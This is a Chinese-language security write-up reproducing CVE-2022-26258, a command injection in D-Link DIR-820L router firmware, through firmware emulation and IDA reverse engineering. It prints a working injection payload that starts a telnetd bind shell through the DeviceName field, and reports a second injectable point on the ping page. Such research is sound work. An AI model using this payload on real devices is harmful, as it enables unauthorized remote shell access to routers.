命令注入漏洞CVE-2022-26258复现

admin 2023年7月24日11:48:55评论17 views字数 3416阅读11分23秒阅读模式




漏洞信息


◆CVE编号:CVE-2022-26258

◆漏洞描述:D-Link DIR-820L 1.05B03 was discovered to contain remote command execution (RCE) vulnerability via HTTP POST to get set ccp.

◆设备型号:D-Link DIR-820L

◆固件版本:1.05B03

◆厂商官网:http://www.dlink.com.cn/

◆固件地址:http://www.dlinktw.com.tw/techsupport/download.ashx?file=2663

◆测试环境:Ubuntu 18.04


命令注入漏洞CVE-2022-26258复现


根据漏洞描述可得到几个关键词:远程命令执行、/lan.jsp页面、Device Name 参数、HTTP、POST、get set cpp。






固件分析


2.1 固件解包


使用binwalk对固件解包,获取文件系统:


binwalk -Me DIR820LA1_FW105B03.bin


命令注入漏洞CVE-2022-26258复现


2.2 关键信息查找


根据漏洞描述,查看www/lan.asp文件,并在该文件中查找DeviceName和get set ccp相关内容:


命令注入漏洞CVE-2022-26258复现


通过lan.asp源码可知在DEVICE_NAME处填入的参数会被拼接到paramStr中,然后函数copyDataToDataModelFormat将paramStr返回为提交参数传给submitParam.arg,传递的URL为get_set.ccp。这里应该是一个POST请求提交数据。在文件系统中查找一下关键词get set ccp:


grep -r "get_set"


命令注入漏洞CVE-2022-26258复现


在文件系统中查找关键词并没有发现名为“get_set.ccp”的文件,没有“get_set.ccp”文件,这个URL应该是交给后端处理,处理好之后将结果返回给用户。但在许多asp文件中都匹配到了get_set.ccp这个URL且有四个二进制文件中也匹配到了这个URL:


Binary file ./squashfs-root/bin/smbd matches
Binary file ./squashfs-root/bin/flash matches
Binary file sbin/ncc2 matches
Binary file lib/libapmib.so matches


◆bin/smbd程序是Samba服务器的一部分,它允许路由器用户与Windows客户端共享文件和打印机。Samba服务器是一个开源软件,它实现了SMB/CIFS协议,这是Windows操作系统使用的文件和打印机共享协议。bin/smbd程序是Samba服务器的核心组件之一,它提供了文件和打印机共享的功能。


◆bin/flash程序允许用户升级路由器固件,以获取最新的功能和安全补丁。它还可以用于还原路由器的出厂设置,以便在出现问题时恢复路由器的正常运行。


◆sbin/ncc2程序主要用于配置路由器的网络设置和管理路由器的各种功能。通过ncc2程序,用户可以轻松地设置无线网络、防火墙、端口转发等功能,使路由器的使用更加便捷和高效。


◆lib/libapmib.so是D-Link路由器系统中的一个库文件,它包含了许多重要的API和函数,用于实现路由器的各种功能。用户可以通过调用这些API和函数来访问和配置路由器的网络设置、无线网络、防火墙、端口转发等功能。


2.3 FirmAE 固件模拟


命令注入漏洞CVE-2022-26258复现


模拟成功后访问http://192.168.0.1,默认无密码,直接点击Log In即可。


命令注入漏洞CVE-2022-26258复现


访问http://192.168.0.1/lan.asp:


命令注入漏洞CVE-2022-26258复现


点击Save Settings 并通过burpsuite抓包查看:


命令注入漏洞CVE-2022-26258复现


DeviceName和页面内的其他数据被拼接到一起并POST给/get_set.ccp。根据上述信息逆向分析一下和网络相关且含get_set字符串的ncc2程序。


2.4 IDA 逆向分析


查找一下关键字“Device Name”。通过对比、分析最终定位到如下代码:


命令注入漏洞CVE-2022-26258复现


通过分析可知这段代码的功能是:获取Obj并判断Obj是否为含注入的字符串(hasInjectionString),如果有注入则释放Obj并退出,若没有注入则将Obj传给_system函数处理。hasInjectionString和_system函数都是导入函数。在文件系统中搜索一这两个函数字符串,找到了一个库文件:lib/libleopard.so。


命令注入漏洞CVE-2022-26258复现


用IDA逆向分析libleopard.so文件,并直接去导出函数中定位hasInjectionString和_system:


命令注入漏洞CVE-2022-26258复现


通过伪代码可知过滤的字符仅5种,过滤不完全,因此我们可以使用其他字符比如换行(%0a)来注入执行命令。


命令注入漏洞CVE-2022-26258复现


_system函数的功能是拼接字符串并执行。





漏洞复现


3.1 根据CVE信息的复现


命令注入漏洞CVE-2022-26258复现


固件模拟并抓包修改lanHostCfg_DeviceName_1.1.1.0=后的数据为:


lanHostCfg_DeviceName_1.1.1.0=%0atelnetd -l /bin/sh -p 7080 -b 0.0.0.0%0a


含义为:启动一个telnet服务器并在端口7080上监听所有网络接口。该命令可以让远程用户通过telnet协议登录到该服务器并在/bin/sh shell中执行命令。以下是每个选项的解释:

telnetd: 启动telnet服务器的程序
-l /bin/sh: 指定登录后执行的shell程序为/bin/sh
-p 7080: telnet服务器监听的端口号为7080
-b 0.0.0.0: telnet服务器监听所有网络接口(IP地址为0.0.0.0)
◆%0a为换行的ASCII码。


使用nc连接7080端口获得shell:


命令注入漏洞CVE-2022-26258复现


上述是根据CVE漏洞披露的信息所做出的复现。实际在复现过程中发现不仅仅是通过HTTP POST to get set ccp存在远程命令执行。


3.2 发现新的RCE点


由于是因为字符串过滤不完全导致的命令注入,可以猜想所有HTTP POST且有可能执行的地方都可能存在这个漏洞。在路由后台中发现有一个ping测试页面:


命令注入漏洞CVE-2022-26258复现


通过抓包改包测试,发现同样存在RCE漏洞,且该漏洞并非存在于CVE所描述的get set ccp而是ping ccp。


命令注入漏洞CVE-2022-26258复现


在进一步测试中发现直接在ping处输入%0atelnetd -l /bin/sh -p 7080 -b 0.0.0.0%0a即可获得shell:


命令注入漏洞CVE-2022-26258复现





现总结


在复现这个漏洞中发现2022年刚披露的信息和2023年有所不同,2022年的描述更具体,2023的变得模糊一些。刚开始以为是为了保护厂商,避免提示太明显容易被利用。后来在复现过程中发现应该是后续被验证漏洞点不仅仅是/lan.jsp页面、Device Name 参数,其他参数也存在同样的漏洞,所以2023的描述范围扩大为HTTP POST 的get set ccp。如果是这样那么现在发现不仅是get set ccp中存在漏洞点,ping ccp中同样存在。顺便提一下,去厂商的网站查了一下漏洞补丁,在补丁中hasInjectionString的过滤内容修改为:


命令注入漏洞CVE-2022-26258复现



参考文章


D-Link CVE-2022-26258 命令注入- IOTsec-Zone物联网安全社区

(https://www.iotsec-zone.com/article?id=123)


CVE-2022-26258 命令执行漏洞 | Hexo (unrav31.github.io)

(https://unrav31.github.io/2022/04/25/cve-2022-26258-ming-ling-zhi-xing-lou-dong/#!)


D-Link CVE-2022-26258 命令注入 - 庄周恋蝶蝶恋花 - 博客园 (cnblogs.com)

(https://www.cnblogs.com/zhuangzhouQAQ/p/16219690.html)




命令注入漏洞CVE-2022-26258复现


看雪ID:伯爵的信仰

https://bbs.kanxue.com/user-home-882513.htm

*本文为看雪论坛优秀文章,由 伯爵的信仰 原创,转载请注明来自看雪社区

命令注入漏洞CVE-2022-26258复现

# 往期推荐

1、在 Windows下搭建LLVM 使用环境

2、深入学习smali语法

3、安卓加固脱壳分享

4、Flutter 逆向初探

5、一个简单实践理解栈空间转移

6、记一次某盾手游加固的脱壳与修复


命令注入漏洞CVE-2022-26258复现


命令注入漏洞CVE-2022-26258复现

球分享

命令注入漏洞CVE-2022-26258复现

球点赞

命令注入漏洞CVE-2022-26258复现

球在看

原文始发于微信公众号(看雪学苑):命令注入漏洞CVE-2022-26258复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年7月24日11:48:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   命令注入漏洞CVE-2022-26258复现http://cn-sec.com/archives/1900755.html

发表评论

匿名网友 填写信息